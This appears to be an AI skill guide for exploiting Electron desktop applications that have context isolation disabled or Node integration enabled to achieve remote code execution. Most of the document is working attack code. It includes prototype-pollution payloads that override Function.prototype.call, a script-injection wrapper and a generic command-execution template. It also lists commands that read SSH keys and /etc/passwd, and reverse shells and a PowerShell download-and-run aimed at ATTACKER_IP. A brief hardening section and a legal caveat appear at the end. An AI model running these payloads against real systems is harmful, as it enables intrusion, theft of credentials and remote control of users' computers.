Electron Contextisolation Exploit

Electron ContextIsolation RCE Exploitation

This skill helps you exploit Electron applications that have contextIsolation: false or nodeIntegration: true, allowing renderer process access to Node.js internals for remote code execution.

When to Use This Skill

• Pentesting Electron desktop applications
• Security assessments of Electron-based software
• Investigating context isolation bypasses
• Demonstrating prototype pollution attacks in Electron
• Analyzing Electron security configurations

Core Concepts

The Vulnerability

When Electron apps disable contextIsolation, the renderer process can access Node.js internal objects. The key attack vector is the process object, which contains references to require and other Node.js APIs.

Attack Surface

1. Internal event listeners - Electron sets up internal event handlers that reference the process object
2. Prototype pollution - Overwriting Function.prototype.call or similar methods
3. Direct process access - When nodeIntegration: true, direct access to process.mainModule.require

Exploitation Techniques

Technique 1: Function.prototype.call Override

This exploits the internal "exit" event listener that Electron sets up during page loading.

Payload:

Function.prototype.call = function (process) {
  process.mainModule.require("child_process").execSync("YOUR_COMMAND_HERE")
}
location.reload() // Triggers the "exit" event

How it works:

1. Electron's internal code sets up process.on("exit", ...) during page load
2. When the page reloads, the "exit" event fires
3. The handler's .call() method receives the process object
4. By overriding Function.prototype.call, we intercept this and execute arbitrary code

Usage:

// Inject into renderer process
const exploit = `
  Function.prototype.call = function (process) {
    if (process && process.mainModule && process.mainModule.require) {
      process.mainModule.require("child_process").execSync("whoami");
    }
  }
  location.reload();
`;
const script = document.createElement('script');
script.textContent = exploit;
document.head.appendChild(script);

Technique 2: Prototype Pollution via Object.defineProperty

When direct prototype access is restricted, use Object.defineProperty to pollute the prototype chain.

Payload:

// Leak the require function through prototype pollution
Object.defineProperty(Function.prototype, 'call', {
  get: function() {
    return function(process) {
      if (process && process.mainModule) {
        const { execSync } = process.mainModule.require('child_process');
        execSync('YOUR_COMMAND_HERE');
      }
    };
  }
});

// Trigger the exploit
location.reload();

Technique 3: Direct Process Access (nodeIntegration: true)

If nodeIntegration is enabled, you can directly access Node.js APIs:

// Direct RCE when nodeIntegration is true
const { execSync } = require('child_process');
execSync('YOUR_COMMAND_HERE');

// Or via process object
process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE');

Detection and Verification

Check if Context Isolation is Disabled

// In renderer process, check for Node.js access
function checkNodeAccess() {
  const checks = {
    hasProcess: typeof process !== 'undefined',
    hasRequire: typeof require !== 'undefined',
    hasNodeIntegration: process && process.versions && process.versions.node,
    hasContextIsolation: process && process.contextIsolation
  };
  console.log('Node.js Access Check:', checks);
  return checks.hasProcess || checks.hasRequire;
}

Check for Vulnerable Configuration

Look for these patterns in the Electron app's main process:

// Vulnerable - contextIsolation disabled
webContents.setWindowOpenHandler(() => {
  return { action: 'allow', overrideBrowserWindowOptions: { webPreferences: { contextIsolation: false } } }
});

// Vulnerable - nodeIntegration enabled
BrowserWindow({
  webPreferences: {
    nodeIntegration: true,
    contextIsolation: false
  }
});

Practical Exploitation Workflow

Step 1: Reconnaissance

1. Identify the Electron app and its version
2. Check for XSS vectors (file upload, URL parameters, stored content)
3. Verify renderer process access to Node.js APIs

Step 2: Payload Delivery

Choose delivery method based on available XSS vector:

• Reflected XSS: Inject payload via URL parameters
• Stored XSS: Inject payload via file upload or form submission
• DOM XSS: Inject payload via JavaScript-controlled DOM

Step 3: Command Execution

// Generic payload template
function executeCommand(command) {
  Function.prototype.call = function (process) {
    if (process && process.mainModule && process.mainModule.require) {
      try {
        const { execSync } = process.mainModule.require('child_process');
        execSync(command);
      } catch (e) {
        console.error('Exploit failed:', e);
      }
    }
  };
  location.reload();
}

// Example commands
executeCommand('whoami');
executeCommand('id');
executeCommand('cat /etc/passwd');
executeCommand('nc -e /bin/sh ATTACKER_IP 4444');

Common Commands for Testing

// Basic reconnaissance
'whoami'
'id'
'hostname'
'pwd'

// File access
'cat /etc/passwd'
'ls -la ~'
'cat ~/.ssh/id_rsa'

// Reverse shell (Linux)
'nc -e /bin/bash ATTACKER_IP 4444'
'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

// Reverse shell (macOS)
'/usr/bin/env python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"'

// Reverse shell (Windows)
'powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"'

Mitigation and Hardening

For Developers

1. Enable contextIsolation:

webPreferences: {
  contextIsolation: true,
  nodeIntegration: false,
  sandbox: true
}

2. Use preload scripts for controlled IPC:

// preload.js
contextBridge.exposeInMainWorld('api', {
  readFile: (path) => ipcRenderer.invoke('read-file', path)
});

3. Disable Node.js in renderer:

webPreferences: {
  nodeIntegration: false,
  contextIsolation: true
}

For Security Teams

1. Audit Electron apps for contextIsolation: false
2. Check for nodeIntegration: true in production builds
3. Review preload scripts for proper context isolation
4. Test for prototype pollution vulnerabilities

References

• Electron Security Documentation
• Context Isolation Bypass Research
• Electron ASAR Internal Code

Important Notes

• Legal: Only use these techniques on systems you own or have explicit permission to test
• Version Specific: Exploits may vary by Electron version
• Detection: Modern Electron versions have improved security; test against the target version
• Defense in Depth: Even with contextIsolation enabled, other vectors may exist